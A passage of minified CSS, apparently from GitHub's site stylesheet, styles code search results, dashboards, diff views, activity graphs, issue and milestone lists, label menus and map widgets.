a:hover{color:var(--color-accent-fg)}.code-list .blob-code{white-space:pre-wrap}.code-list .divider .blob-num,.code-list .divider .blob-code{padding-top:0;padding-bottom:0;cursor:default;background-color:var(--color-canvas-subtle)}.code-list .divider .blob-num{height:18px;padding:0 8px;line-height:15px;background-color:var(--color-canvas-subtle)}.code-list .full-path{margin:0 0 0 40px}.code-list .full-path .octicon-repo{color:var(--color-fg-muted)}.code-list .full-path .octicon-lock{color:var(--color-attention-fg)}.code-list .full-path a{color:var(--color-fg-muted)}.code-list-item-private .file-box{border:1px solid var(--color-attention-muted)}.code-list-item-private .blob-num{background-color:var(--color-attention-subtle);border-right:1px solid var(--color-attention-muted)}.code-list-item-private .blob-num a{color:var(--color-attention-fg)}.code-list-item-private .divider .blob-num,.code-list-item-private .divider .blob-code{color:var(--color-attention-fg);background-color:var(--color-attention-subtle)}.code-scanning-alert-warning-message{border-color:var(--color-attention-emphasis) !important}.code-scanning-font-size-inherit{font-size:inherit !important}.cs-message .md-list{padding-left:2em}.code-scanning-timeline .TimelineItem:last-of-type.code-scanning-alert-dismissal-comment::before{width:0}.codesearch-head.pagehead h1{width:250px;line-height:33px}@media(min-width: 768px){.advanced-search-form .flattened dt{width:230px}.advanced-search-form .flattened dt label{font-weight:400}.advanced-search-form .flattened dd{margin-left:250px}.advanced-search-form .form-checkbox{margin-left:250px}}.codesearch-results .code-list .title a{word-wrap:break-word}.codesearch-results .repo-list-item{border-bottom:0}.codesearch-results .repo-list-item+.repo-list-item{border-top:1px solid var(--color-border-default)}.search-form-fluid .TableObject-item--primary{position:relative;padding-right:8px}.search-form-fluid .completed-query{position:absolute;z-index:1;padding:inherit;margin:0;overflow:hidden;white-space:nowrap}.search-form-fluid .completed-query span{opacity:0}.search-form-fluid .search-page-label{position:relative;display:block;font-weight:400;cursor:text}.search-form-fluid .search-page-label.focus .completed-query{opacity:.6}.search-form-fluid .search-page-input{position:relative;z-index:2;min-height:0;padding:0;margin:0;background:none;border:0;box-shadow:none}.search-form-fluid .search-page-input:focus{box-shadow:none}.topics-row-container{height:30px;overflow:hidden}@media(max-width: 544px){.codesearch-pagination-container a:not(.next_page):not(.previous_page),.codesearch-pagination-container .gap{display:none}.codesearch-pagination-container .previous_page,.codesearch-pagination-container .next_page{width:100%}.codesearch-pagination-container .current{color:var(--color-fg-muted);background:var(--color-canvas-default);border-color:var(--color-border-default)}.codesearch-pagination-container .current::after{content:" of " attr(data-total-pages)}}.codespaces-policy-form details>summary::-webkit-details-marker{display:none}.codespaces-wider-select-menu-modal{width:420px;margin-right:32px}.codespaces-policy-item-no-hover:hover{background-color:var(--color-canvas-overlay)}.codespaces-policy-constraint-menu-item-muted-hover:hover{color:var(--color-fg-default);background-color:var(--color-btn-hover-bg)}.codespaces-policy-form-button-hover:hover .codespaces-policy-form-button-text-hover{border-color:var(--color-btn-hover-bg) !important}.codespaces-policy-form-button-hide-border{border-color:var(--color-scale-white) !important}.codespaces-policy-form-blue-hover:hover{color:var(--color-accent-fg) !important}.codespaces-policy-form-blue-hover:hover svg{color:var(--color-accent-fg) !important}.codespaces-policy-form-blue-hover:focus svg{color:var(--color-accent-fg) !important}.codespaces-policy-form-danger-hover:hover{background-color:var(--color-danger-subtle) !important}.cloud-panel .welcome-image{background:url("/images/modules/site/codespaces/dropdown-background-light.png");background-repeat:no-repeat;background-position:bottom center;background-size:contain}@media(prefers-color-scheme: light){.cloud-panel .welcome-image{background:url("/images/modules/site/codespaces/dropdown-background-light.png");background-repeat:no-repeat;background-position:bottom center;background-size:contain}}@media(prefers-color-scheme: dark){.cloud-panel .welcome-image{background:url("/images/modules/site/codespaces/dropdown-background-dark.png");background-repeat:no-repeat;background-position:bottom center;background-size:contain}}@media(prefers-color-scheme: no-preference){.cloud-panel .welcome-image{background:url("/images/modules/site/codespaces/dropdown-background-light.png");background-repeat:no-repeat;background-position:bottom center;background-size:contain}}.commit-activity-master{margin-top:16px}.is-graph-loading .commit-activity-master{display:none}rect{shape-rendering:crispedges}rect.max{fill:var(--color-attention-fg)}g.bar{fill:var(--color-success-fg)}g.mini{fill:var(--color-severe-fg)}g.active rect{fill:var(--color-danger-fg)}circle.focus{fill:var(--color-fg-muted)}.dot text{fill:var(--color-fg-muted);stroke:none}span.no-nl-marker{position:relative;color:var(--color-danger-fg);vertical-align:middle}.symlink .no-nl-marker{display:none}.range-editor{position:relative;padding:4px 16px 4px 40px;margin-top:16px;margin-bottom:16px;background-color:var(--color-canvas-subtle);border:1px solid var(--color-border-default);border-radius:6px}.range-editor .dots{font-size:16px}.range-editor .select-menu{position:relative;display:inline-block}.range-editor .select-menu.fork-suggester{display:none}.range-editor .branch-name{line-height:22px}.range-editor .branch .css-truncate-target,.range-editor .fork-suggester .css-truncate-target{max-width:180px}.range-editor .pre-mergability{display:inline-block;padding:4px;line-height:26px;vertical-align:middle}.range-editor .pre-mergability .octicon{vertical-align:text-bottom}.range-editor.is-cross-repo .select-menu.fork-suggester{display:inline-block}.range-editor-icon{float:left;margin-top:8px;margin-left:-24px;color:var(--color-fg-muted)}.compare-pr-header{display:none}.is-pr-composer-expanded .compare-show-header{display:none}.is-pr-composer-expanded .compare-pr-header{display:block}.range-cross-repo-pair{display:inline-block;padding:4px;white-space:nowrap}.tint-box{position:relative;margin-bottom:8px;background:var(--color-canvas-subtle);border-radius:6px}.tint-box.transparent{background:var(--color-canvas-default)}.tint-box .activity{padding-top:100px;margin-top:0}.contrib-person path{fill:var(--color-severe-fg)}.contrib-person .midlabel{fill:var(--color-neutral-emphasis)}.coupons .setup-plans td img{margin-top:-2px;vertical-align:middle}.coupons .coupon-form-body{width:270px;padding:16px;margin:100px auto 60px;font-size:14px;text-align:center;background-color:var(--color-canvas-subtle);border:1px solid var(--color-border-default);border-radius:6px}.coupons .coupon-form-body .input-block{margin-bottom:16px}.coupons .coupon-form-body .btn{display:block;width:100%}.coupon-icon{width:80px;height:80px;margin:0 auto 16px;color:var(--color-accent-fg);border:1px solid var(--color-border-default);border-radius:40px}.coupon-icon .octicon{margin-top:16px;margin-right:2px}.coupons-list-options .select-menu{display:inline-block;margin-right:8px}.coupons-list-options .pagination{float:right;margin:0}.repo-private-icon{fill:var(--color-attention-fg)}.dashboard-rollup-items>.dashboard-rollup-item{border-top:1px solid var(--color-border-default)}.news-full{float:none;width:auto}.dashboard-break-word{-webkit-hyphens:auto;hyphens:auto;word-break:break-word}.news .bio g-emoji,.news .repo-description g-emoji{display:inline-block}.news .feed-item-heading-menu-button{color:var(--color-fg-muted)}.news .feed-item-heading-menu-button:hover{color:var(--color-fg-default)}.suggest-icon{width:48px;height:48px;padding:4px}.suggest-icon svg,.suggest-icon path{fill:#fff}.suggest-icon svg::before,.suggest-icon path::before{bottom:-6px;left:-4px;background-color:#9e7bff}.suggest-icon svg::after,.suggest-icon path::after{top:-5px;right:-5px;width:5px;height:5px;background-color:#6c84e9}.suggest-icon .suggest-icon-bubble{position:absolute;width:6px;height:6px;background-color:#6c84e9;border-radius:50%}.suggest-icon .suggest-icon-bubble:nth-of-type(2n){width:4px;height:4px;background-color:#9e7bff}.suggest-icon .suggest-icon-bubble:nth-of-type(1){bottom:-7px;left:-7px}.suggest-icon .suggest-icon-bubble:nth-of-type(2){top:-4px;right:4px}.suggest-icon .suggest-icon-bubble:nth-of-type(3){top:-7px;right:-8px}.dashboard-notice{position:relative;padding:16px 16px 16px 55px;margin-bottom:16px;font-size:14px;background-color:var(--color-canvas-subtle);border:1px solid var(--color-border-default);border-radius:6px}.dashboard-notice .dismiss{position:absolute;top:10px;right:10px;width:16px;height:16px;color:var(--color-fg-muted);cursor:pointer}.dashboard-notice .dismiss:hover{color:var(--color-fg-muted)}.dashboard-notice .notice-icon{position:absolute;top:15px;left:15px}.dashboard-notice .octicon-organization{color:var(--color-accent-fg)}.dashboard-notice h2{margin-top:8px;margin-bottom:16px;font-size:16px;font-weight:400;color:var(--color-fg-default)}.dashboard-notice p.no-title{padding-right:4px}.dashboard-notice ul{margin-left:16px}.dashboard-notice li{padding-bottom:16px}.dashboard-notice .coupon{padding:8px;margin:16px 0;font-size:20px;font-weight:600;text-align:center;background:var(--color-canvas-default);border:1px dashed var(--color-border-default)}.dashboards-overview-lead{width:700px}.dashboards-overview-cards .boxed-group{width:100%;margin:8px 0}.dashboards-overview-cards .boxed-group .graph-canvas path{stroke-opacity:.5}.dashboards-overview-cards .is-no-activity .blankslate{display:block}.dashboards-overview-cards .is-no-activity .dashboards-overview-graph{display:none}.dashboards-overview-cards .blankslate{display:none;padding-top:47px;background-color:var(--color-canvas-default);border:0;box-shadow:none}.dashboards-overview-cards .octicon-arrow-down,.dashboards-overview-cards .octicon-arrow-up{display:none}.dashboards-overview-cards .is-increase .octicon-arrow-up{display:inline-block}.dashboards-overview-cards .is-decrease .octicon-arrow-down{display:inline-block}.dashboards-overview-cards .octicon-arrow-down{color:var(--color-danger-fg)}.dashboards-overview-cards .octicon-arrow-up{color:#1db34f}.dashboards-overview-cards .graph-canvas .dots{padding:43px 0}.dashboards-overview-cards .summary-stats{height:78px}.dashboards-overview-cards .summary-stats .metric-0{color:#1db34f}.dashboards-overview-cards .summary-stats .metric-1{color:var(--color-accent-fg)}.dashboards-overview-cards .summary-stats .totals-num{margin:0 8px}.dashboards-overview-cards .summary-stats .single{width:100%}.dashboards-overview-cards .dashboards-overview-graph{height:160px}.dashboards-overview-cards .dashboards-overview-graph path{fill:none;stroke-width:2}.dashboards-overview-cards .dashboards-overview-graph path.metric-0{stroke:#1db34f}.dashboards-overview-cards .dashboards-overview-graph path.metric-1{stroke:#1d7fb3}.dashboards-overview-cards .dashboards-overview-graph .y line{stroke:#1db34f}.dashboards-overview-cards .dashboards-overview-graph .y.unique line{stroke:#1d7fb3}.dashboards-overview-cards .dashboards-overview-graph .overlay{fill-opacity:0}.dashboards-overview-cards .metric-0 circle{fill:#1db34f;stroke:#fff;stroke-width:2}.dashboards-overview-cards .dots.metric-1 circle{fill:#1d7fb3;stroke:#fff;stroke-width:2}dl.form.developer-select-account{margin-top:0}.developer-wrapper .setup-info-module .features-list{margin-left:16px}.developer-wrapper .setup-info-module .features-list .octicon{margin-left:-16px}.developer-thanks h2{font-size:40px;font-weight:400}.developer-thanks .hook{margin-top:2px;margin-bottom:32px;font-size:16px;font-weight:300;color:var(--color-fg-muted)}.developer-thanks-image{position:relative;bottom:-45px;float:left;width:400px}.developer-thanks-section{margin:130px 0 0 470px}.developer-next-steps{font-size:16px;font-weight:300;list-style:none}.developer-next-steps li{margin-top:8px}.developer-next-steps li:first-child{margin-top:0}.developer-next-steps .octicon{margin-right:8px;color:var(--color-success-fg);vertical-align:middle}.file-diff-split[data-lock-side-selection=left] [data-split-side=right],.file-diff-split[data-lock-side-selection=right] [data-split-side=left]{-webkit-user-select:none;user-select:none}.invisible{position:absolute;opacity:0}.icon-discussion-answered{color:var(--color-success-fg)}.icon-discussion-answered,.icon-discussion-answered path{fill:var(--color-success-emphasis)}.icon-discussion-white{color:var(--color-discussions-state-answered-icon) !important}.icon-discussion-white,.icon-discussion-white path{fill:var(--color-discussions-state-answered-icon) !important}.icon-discussion-gray{color:var(--color-fg-default)}.icon-discussion-gray,.icon-discussion-gray path{fill:var(--color-fg-default)}.label-select-menu .color{display:inline-block;width:14px;height:14px;margin-top:-1px;margin-right:2px;vertical-align:middle;border-radius:7px}.label-select-menu .select-menu-item:hover,.label-select-menu .select-menu-item:focus,.label-select-menu .select-menu-item[aria-checked=true]:hover,.label-select-menu .select-menu-item[aria-checked=true]:focus{color:inherit;background-color:var(--color-neutral-subtle)}.label-select-menu .select-menu-item-icon,.label-select-menu .label-options-icon{color:inherit !important}.user-has-reacted .octicon{fill:var(--color-accent-fg)}.donut-chart>.error,.donut-chart>.cancelled,.donut-chart>.action_required,.donut-chart>.timed_out,.donut-chart>.failure{fill:var(--color-checks-donut-error)}.donut-chart>.expected,.donut-chart>.queued,.donut-chart>.in_progress,.donut-chart>.waiting,.donut-chart>.requested,.donut-chart>.pending{fill:var(--color-checks-donut-pending)}.donut-chart>.success{fill:var(--color-checks-donut-success)}.donut-chart>.neutral,.donut-chart>.stale,.donut-chart>.skipped{fill:var(--color-checks-donut-neutral)}.survey-question-form .other-text-form,.survey-question-form .other-text-form-block{display:none;margin-top:0}.survey-question-form.is-other-selected .other-text-form{display:inline-block}.survey-question-form.is-other-selected .other-text-form-block{display:block}.ghe-license-status{padding:40px 0;font-size:16px;text-align:center}.ghe-license-status .octocat{width:225px;margin-bottom:16px}.ghe-license-status h1{margin-bottom:8px}.ghe-license-status p{margin-bottom:4px;color:var(--color-fg-muted)}.ghe-license-expiry-icon{margin:4px 8px 0 0;color:var(--color-attention-fg)}.feature-preview-dialog{width:90vw;max-width:880px;height:60vh;min-height:240px;max-height:700px}.feature-preview-dialog .feature-preview-info{height:60vh;min-height:183px;max-height:calc(100% - 57px)}.file{position:relative;margin-top:16px;margin-bottom:16px;border:1px solid var(--color-border-default, #ddd);border-radius:6px}.file .drag-and-drop{border:0;border-top:1px dashed var(--color-border-default)}.file:target{outline:none !important;box-shadow:0 0 0 2px var(--color-accent-fg) !important}.file .data.empty{padding:4px 8px;color:var(--color-fg-muted)}.file:not(.open) .file-header.file-header--expandable{border-bottom:0;border-radius:6px}.file .data.suppressed,.file.open .image{display:none}.file.open .data.suppressed{display:block}.file .image{position:relative;padding:32px;text-align:center;background-color:#ddd}.file .image table{margin:0 auto}.file .image td{padding:0 4px;color:var(--color-fg-muted);text-align:center;vertical-align:top}.file .image td img{max-width:100%}.file .image .border-wrap{position:relative;display:inline-block;line-height:0;background-color:var(--color-canvas-default);border:1px solid var(--color-border-default)}.file .image a{display:inline-block;line-height:0}.file .image img,.file .image canvas{max-width:600px;background:url("/images/modules/commit/trans_bg.gif") right bottom #eee;border:1px solid #fff}.file .image .view img,.file .image .view canvas{position:relative;top:0;right:0;max-width:inherit;background:url("/images/modules/commit/trans_bg.gif") right bottom #eee}.file .image .view>span{vertical-align:middle}.file .empty{background:none}.file-header{z-index:2;padding:4px 8px;background-color:var(--color-canvas-subtle);border-bottom:1px solid var(--color-border-default);border-top-left-radius:6px;border-top-right-radius:6px}.file-header::before{display:table;content:""}.file-header::after{display:table;clear:both;content:""}.file-actions{float:right;padding-top:2px;font-size:12px}.file-actions select{margin-left:4px}.file-info{font-family:ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace;font-size:12px;line-height:32px}.file-info .octicon{vertical-align:text-bottom}.sticky-file-header{position:sticky;top:60px}.diff-progressive-loader{min-height:150px}.load-diff-button,.load-diff-retry{z-index:1;min-height:32px}.diff-placeholder-svg{clip:rect(1px, 1px, 1px, 1px);-webkit-clip-path:inset(50%);clip-path:inset(50%)}.ghae-bootstrap-container{min-height:calc(100vh - 54px)}.ghae-bootstrap-incomplete-step{color:var(--color-fg-muted);background-color:var(--color-canvas-subtle)}.ghae-bootstrap-complete-step{color:var(--color-fg-on-emphasis);background-color:var(--color-success-emphasis)}.ghae-enterprise-name-form-error{left:50%;transform:translateX(-50%)}.graphs .area{fill:var(--color-success-emphasis);fill-opacity:.5}.graphs .path{fill:none;stroke:var(--color-success-emphasis);stroke-opacity:1;stroke-width:2px}.graphs .dot{fill:var(--color-success-emphasis);stroke:#1e7e34;stroke-width:2px}.graphs .dot.padded{stroke:var(--color-canvas-default);stroke-width:1px}.graphs .dot.padded circle:hover{fill:var(--color-accent-emphasis)}.graphs .d3-tip{fill:var(--color-neutral-emphasis)}.graphs .d3-tip text{font-size:12px;fill:var(--color-canvas-default)}.graphs .dir{float:right;padding-top:4px;font-size:12px;font-weight:400;line-height:100%;color:var(--color-fg-muted)}.graphs .selection .overlay{visibility:none}.graphs .selection .selection{fill:var(--color-neutral-emphasis);fill-opacity:.1;stroke:var(--color-fg-default);stroke-dasharray:3 3;stroke-opacity:.4;stroke-width:1px;shape-rendering:crispedges}.graph-filter h3{display:inline-block;font-size:24px;font-weight:300}.graph-filter .info{margin-bottom:16px;color:var(--color-fg-muted)}.graph-canvas .activity{width:400px;padding:8px;margin:100px auto 0;color:var(--color-fg-default);text-align:center;border-radius:6px}.graph-canvas .dots{margin:0 auto}.graph-canvas>.activity{display:none}.graph-canvas .axis{font-size:12px}.graph-canvas .axis line{stroke:var(--color-border-default);shape-rendering:crispedges}.graph-canvas .axis text{fill:var(--color-fg-muted)}.graph-canvas .axis path{display:none}.graph-canvas .axis .zero line{stroke:var(--color-accent-emphasis);stroke-dasharray:3 3;stroke-width:1.5}.graph-canvas text.axis{fill:var(--color-fg-muted)}.graph-canvas .graph-loading,.graph-canvas .graph-error,.graph-canvas .graph-no-usable-data,.graph-canvas .graph-empty{display:none}.graph-canvas.is-graph-loading>.activity,.graph-canvas.is-graph-without-usable-data>.activity,.graph-canvas.is-graph-empty>.activity{display:block}.graph-canvas.is-graph-loading .graph-loading,.graph-canvas.is-graph-empty .graph-empty,.graph-canvas.is-graph-without-usable-data .graph-no-usable-data,.graph-canvas.is-graph-load-error .graph-error{display:block}.svg-tip{position:absolute;z-index:99999;padding:8px 16px;font-size:12px;color:var(--color-fg-on-emphasis);text-align:center;background:var(--color-neutral-emphasis-plus);border-radius:6px}.svg-tip.is-visible{display:block}.svg-tip::after{position:absolute;bottom:-10px;left:50%;width:5px;height:5px;box-sizing:border-box;margin:0 0 0 -4px;content:" ";border:5px solid transparent;border-top-color:var(--color-neutral-emphasis-plus)}.svg-tip.left::after{left:10%}.svg-tip.right::after{left:90%}.svg-tip.comparison{padding:0;text-align:left;pointer-events:none}.svg-tip.comparison .title{display:block;padding:8px;margin:0;font-weight:600;line-height:1;pointer-events:none}.svg-tip.comparison ul{padding:4px 8px 8px 8px;margin:0;white-space:nowrap;list-style:none}.svg-tip.comparison li{display:inline-block;padding-top:16px}.svg-tip.comparison .metric-0,.svg-tip.comparison .metric-1{position:relative}.svg-tip.comparison .metric-0::before,.svg-tip.comparison .metric-1::before{position:absolute;top:0;right:0;left:0;height:4px;content:"";border:1px solid var(--color-border-default);border-radius:6px}.svg-tip.comparison .metric-0::before{background-color:var(--color-success-emphasis)}.svg-tip.comparison .metric-1::before{background-color:var(--color-accent-emphasis)}.svg-tip-one-line{white-space:nowrap}.activity-overview-axis,.activity-overview-point{stroke:var(--color-calendar-graph-day-L4-bg)}.halloween-activity-overview .activity-overview-axis,.halloween-activity-overview .activity-overview-point{stroke:var(--color-calendar-halloween-graph-day-L4-bg)}.activity-overview-label{fill:var(--color-fg-muted)}.activity-overview-percentage{font-size:12px;fill:var(--color-fg-muted)}.team-breadcrumb .team-breadcrumb-item{display:inline-block}.team-breadcrumb .team-breadcrumb-item::after{padding-right:.5em;padding-left:.5em;color:var(--color-neutral-muted);content:"/"}.team-breadcrumb .team-breadcrumb-item-selected::after{content:none}.team-discussions-container{min-height:100vh}.team-left-column{max-width:100%}@media(min-width: 768px){.team-left-column{max-width:350px}}.team-left-column .team-avatar{width:80px;height:80px}@media(min-width: 768px){.team-left-column .team-avatar{width:140px;height:140px}}.team-discussions{max-width:768px}.team-discussions .previewable-comment-form .comment{border:0}.team-discussions .previewable-comment-form .toolbar-commenting.toolbar-commenting.toolbar-commenting{background:transparent}.team-discussions .previewable-comment-form .tabnav-tab.selected{background-color:var(--color-canvas-default)}.hooks-listing .boxed-group-action.select-menu{z-index:auto}.hooks-listing .boxed-group-inner{padding:0 8px;margin-bottom:8px}.hook-item a:hover{text-decoration:none}.hook-item .item-status{float:left;width:16px;margin-right:8px;text-align:center}.hook-item .description{color:var(--color-fg-muted)}.hook-item .description .css-truncate-target{max-width:160px}.hook-item .icon-for-success,.hook-item .icon-for-failure,.hook-item .icon-for-pending,.hook-item .icon-for-inactive{display:none}.hook-item.success .icon-for-success{display:inline-block;color:var(--color-success-fg)}.hook-item.failure .icon-for-failure{display:inline-block;color:var(--color-danger-fg)}.hook-item.pending .icon-for-pending{display:inline-block;color:var(--color-fg-muted)}.hook-item.inactive .icon-for-inactive{display:inline-block;color:var(--color-fg-muted)}.hook-item .icon-for-enabled,.hook-item .icon-for-disabled{display:none}.hook-item.enabled .icon-for-enabled{display:inline-block;color:var(--color-success-fg)}.hook-item.disabled .icon-for-disabled{display:inline-block;color:var(--color-fg-muted)}.hook-item .hook-error-message{margin-left:24px;color:var(--color-danger-fg)}.hook-url.css-truncate-target{max-width:360px}.hooks-oap-warning{margin-top:0}.hooks-oap-warning ul{margin:8px 0}.hooks-oap-warning ul li{margin-left:16px}.item-name{float:left;font-weight:600}.hovercard-icon{width:16px}.integration-meta-head{font-size:16px;color:var(--color-fg-muted)}.integrations-select-repos{max-height:138px;overflow-y:scroll;border-radius:6px}.integrations-select-repos .mini-repo-list-item{padding:8px 64px 8px 32px}.integrations-select-repos .mini-repo-list-item:hover .repo,.integrations-select-repos .mini-repo-list-item:hover .owner{text-decoration:none}.integrations-select-repos .mini-repo-list-item .css-truncate-target{max-width:345px}.integrations-select-repos::-webkit-scrollbar{width:10px}.integrations-select-repos::-webkit-scrollbar-thumb{background-color:rgba(0,0,0,.5);border:solid var(--color-canvas-default) 2px;border-radius:6px;box-shadow:0 0 1px rgba(255,255,255,.5)}.integrations-select-repos::-webkit-scrollbar-track-piece{background:transparent}.integrations-repository-picker{width:440px}.target-avatar{position:relative;top:-2px}.issue-list-item+.issue-list-item{border-top:solid 1px var(--color-border-muted)}.pinned-issue-item .pinned-issue-handle{cursor:grab}.pinned-issue-item.is-dragging,.pinned-issue-item.is-dragging .pinned-issue-handle{cursor:grabbing}.pinned-issue-item.is-dragging{background-color:var(--color-accent-subtle)}.pinned-issue-item.sortable-ghost{background-color:var(--color-accent-subtle);opacity:0}.issues-reset-query-wrapper{margin-bottom:16px}.label-link:hover{text-decoration:none}.issues-reset-query{font-weight:600;color:var(--color-fg-muted)}.issues-reset-query:hover{color:var(--color-accent-fg);text-decoration:none}.issues-reset-query:hover .issues-reset-query-icon{background-color:var(--color-accent-emphasis)}.issues-reset-query-icon{width:18px;height:18px;padding:1px;margin-right:4px;color:var(--color-fg-on-emphasis);text-align:center;background-color:var(--color-neutral-emphasis);border-radius:6px}.table-list-milestones .stats{gap:0 15px}.table-list-milestones .table-list-cell{padding:16px 16px}.table-list-milestones .stat{display:inline-block;font-size:14px;font-weight:600;line-height:1.2;color:var(--color-fg-muted);white-space:nowrap}.table-list-milestones .stat a{color:inherit}.table-list-milestones .stat-label{font-weight:400;color:var(--color-fg-muted)}.milestone-title{width:500px}.milestone-title-link{margin-top:0;margin-bottom:4px;font-size:24px;font-weight:400;line-height:1.2}.milestone-title-link a{color:var(--color-fg-default, #333)}.milestone-title-link a:hover{color:var(--color-accent-fg)}.milestone-progress{width:auto;max-width:420px}.milestone-progress .progress-bar{margin-top:8px;margin-bottom:12px}.milestone-meta{font-size:14px}.milestone-meta-item{display:inline-block;margin-right:8px}.milestone-meta-item .octicon{width:16px;text-align:center}.milestone-description-html{display:none}.milestone-description{margin-top:4px}.milestone-description .expand-more{color:var(--color-accent-fg);cursor:pointer}.milestone-description .expand-more:hover{text-decoration:underline}.milestone-description.open .milestone-description-plaintext{display:none}.milestone-description.open .milestone-description-html{display:block}.milestones-flexbox-gap{gap:10px}.issue-reorder-warning{z-index:110}.task-progress{color:var(--color-fg-muted);text-decoration:none;vertical-align:top}.task-progress .octicon{margin-right:4px;color:var(--color-fg-muted, #999);vertical-align:bottom}.task-progress .progress-bar{display:inline-block;width:80px;height:5px;vertical-align:2px;background-color:var(--color-neutral-muted)}.task-progress .progress-bar .progress{background-color:var(--color-border-default)}.task-progress-counts{display:inline-block;margin-right:4px;margin-left:-2px;font-size:12px}a.task-progress:hover{color:var(--color-accent-fg)}a.task-progress:hover .octicon{color:inherit}a.task-progress:hover .progress-bar .progress{background-color:var(--color-accent-emphasis)}.issue-meta-section .octicon{color:var(--color-fg-muted, #ccc);vertical-align:bottom}.issue-milestone{max-width:240px}.issue-milestone .css-truncate-target{max-width:100px}.milestone-link .octicon{font-size:14px}.milestone-link:hover .octicon{color:inherit}.new-pr-form{margin-top:16px;margin-bottom:16px}.new-pr-form::before{display:table;content:""}.new-pr-form::after{display:table;clear:both;content:""}.new-pr-form .discussion-timeline::before{display:none}.label-select-menu .description{margin-left:16px}.label-select-menu .color{display:inline-block;width:14px;height:14px;margin-top:-1px;margin-right:2px;vertical-align:middle;border-radius:7px}.label-select-menu [aria-checked=true] .select-menu-item-icon,.label-select-menu [aria-checked=mixed] .select-menu-item-icon,.label-select-menu .selected .select-menu-item-icon{color:inherit !important}.label-select-menu [aria-checked=true] .octicon-circle-slash,.label-select-menu [aria-checked=mixed] .octicon-circle-slash,.label-select-menu .selected .octicon-circle-slash{color:var(--color-fg-muted)}.label-select-menu [aria-checked=true]:active,.label-select-menu [aria-checked=mixed]:active,.label-select-menu .selected:active{background-color:transparent !important}.label-select-menu .select-menu-item{position:relative}.label-select-menu .select-menu-item:hover,.label-select-menu .select-menu-item:focus,.label-select-menu .select-menu-item[aria-selected=true],.label-select-menu .select-menu-item.navigation-focus{color:inherit;background-color:var(--color-neutral-subtle)}.label-select-menu .select-menu-item:hover .select-menu-item-icon,.label-select-menu .select-menu-item:focus .select-menu-item-icon,.label-select-menu .select-menu-item[aria-selected=true] .select-menu-item-icon,.label-select-menu .select-menu-item.navigation-focus .select-menu-item-icon{color:transparent}.label-select-menu .select-menu-item:hover .label-options-icon,.label-select-menu .select-menu-item:focus .label-options-icon,.label-select-menu .select-menu-item[aria-selected=true] .label-options-icon,.label-select-menu .select-menu-item.navigation-focus .label-options-icon{color:inherit}.label-select-menu>form{position:relative}.subnav .btn+.issues-search{padding-right:8px;border-right:1px solid var(--color-border-muted)}.reaction-sort-item{float:left;width:39px;padding:4px;margin-top:4px;text-align:center;pointer-events:all;border:solid 1px transparent;border-radius:6px;opacity:.7}.reaction-sort-item:focus,.reaction-sort-item:hover{text-decoration:none;background-color:var(--color-accent-emphasis);opacity:1}.reaction-sort-item[aria-checked=true]{background-color:var(--color-accent-subtle);border-color:var(--color-accent-emphasis);opacity:1}.issue-keyword{border-bottom:1px dotted var(--color-border-default)}.issue-keyword:hover{border-bottom:0}.new-label-color-dimensions{width:24px;height:24px}.select-menu-item[aria-selected=true]>.octicon.label-options-icon,.select-menu-item.navigation-focus>.octicon.label-options-icon{color:var(--color-fg-default)}.new-label-color-input:invalid{color:var(--color-danger-fg)}.issue-form-textarea{height:100px !important;min-height:100px !important}.issue-forms-wysiwyg-container .comment-form-head{background:var(--color-canvas-subtle) !important}.issue-forms-wysiwyg-container .comment-body{border-bottom:0 !important}.issue-form-body>:first-child{margin-top:0 !important}.issue-create-branch-menu-action{color:var(--color-fg-default)}.issue-create-branch-menu-action:hover:not(:disabled){color:var(--color-fg-default);background-color:var(--color-canvas-subtle)}.issue-create-branch-menu-action:focus:not(:disabled){color:var(--color-fg-default);background-color:var(--color-neutral-subtle)}react-app{display:flex !important}react-app>div{width:100%}.repository-lang-stats{position:relative}.repository-lang-stats ol.repository-lang-stats-numbers li{display:table-cell;width:1%;padding:8px 4px;text-align:center;white-space:nowrap;border-bottom:0}.repository-lang-stats ol.repository-lang-stats-numbers li span.percent{float:none}.repository-lang-stats ol.repository-lang-stats-numbers li>a,.repository-lang-stats ol.repository-lang-stats-numbers li>span{font-weight:600;color:var(--color-fg-muted);text-decoration:none}.repository-lang-stats ol.repository-lang-stats-numbers li .lang{color:var(--color-fg-default)}.repository-lang-stats ol.repository-lang-stats-numbers li .language-color{display:inline-block;width:10px;height:10px;border-radius:50%}.repository-lang-stats ol.repository-lang-stats-numbers li a:hover{background:transparent}.repository-lang-stats-graph{width:100%;overflow:hidden;white-space:nowrap;cursor:pointer;-webkit-user-select:none;user-select:none;border:1px solid var(--color-border-default);border-top:0;border-bottom-right-radius:6px;border-bottom-left-radius:6px}.repository-lang-stats-graph .language-color{line-height:8px;text-indent:-9999px}.repository-lang-stats-graph .language-color:first-child{border-bottom-left-radius:6px}.repository-lang-stats-graph .language-color:last-child{border-bottom-right-radius:6px}.repository-lang-stats-graph .language-color:not(:first-child){border-left:1px solid var(--color-canvas-default)}.facebox-loading,.octocat-spinner{min-height:64px;background-image:url("/images/spinners/octocat-spinner-64.gif");background-repeat:no-repeat;background-position:center center}.octocat-spinner-32{min-height:32px;background-image:url("/images/spinners/octocat-spinner-32.gif");background-repeat:no-repeat;background-position:center center}@media only screen and (-webkit-min-device-pixel-ratio: 2),only screen and (-moz-min-device-pixel-ratio: 2),only screen and (min-device-pixel-ratio: 2),only screen and (min-resolution: 192dpi),only screen and (min-resolution: 2dppx){.facebox-loading,.octocat-spinner{background-image:url("/images/spinners/octocat-spinner-128.gif");background-size:64px 64px}.octocat-spinner-32{background-image:url("/images/spinners/octocat-spinner-64.gif");background-size:32px 32px}}.map-container .activity{top:120px;left:340px;z-index:99999}.map-container .is-graph-loading .activity{display:block}.map{height:350px}.map-background{pointer-events:all;fill:#0366d6}.map-background-zoom{cursor:grab}.map-land{fill:none;stroke:#256aae;stroke-width:2;shape-rendering:crispedges}.map-country{fill:#d7c7ad;shape-rendering:crispedges;cursor:pointer}.map-country.hk{stroke:#a5967e}.map-country:hover{fill:#c8b28e}.map-country.active{fill:#f6e5ca}.map-borders{fill:none;stroke:#a5967e;shape-rendering:crispedges}.map-graticule{pointer-events:none;fill:none;stroke:#fff;stroke-opacity:.2;shape-rendering:crispedges}.map-graticule :nth-child(2n){stroke-dasharray:2,2}.map-legend .map-legend-circle{fill-opacity:0;stroke:#fff;stroke-width:1.5}.map-legend .map-legend-text{font-size:12px;fill:#fff;text-anchor:end}.map-legend 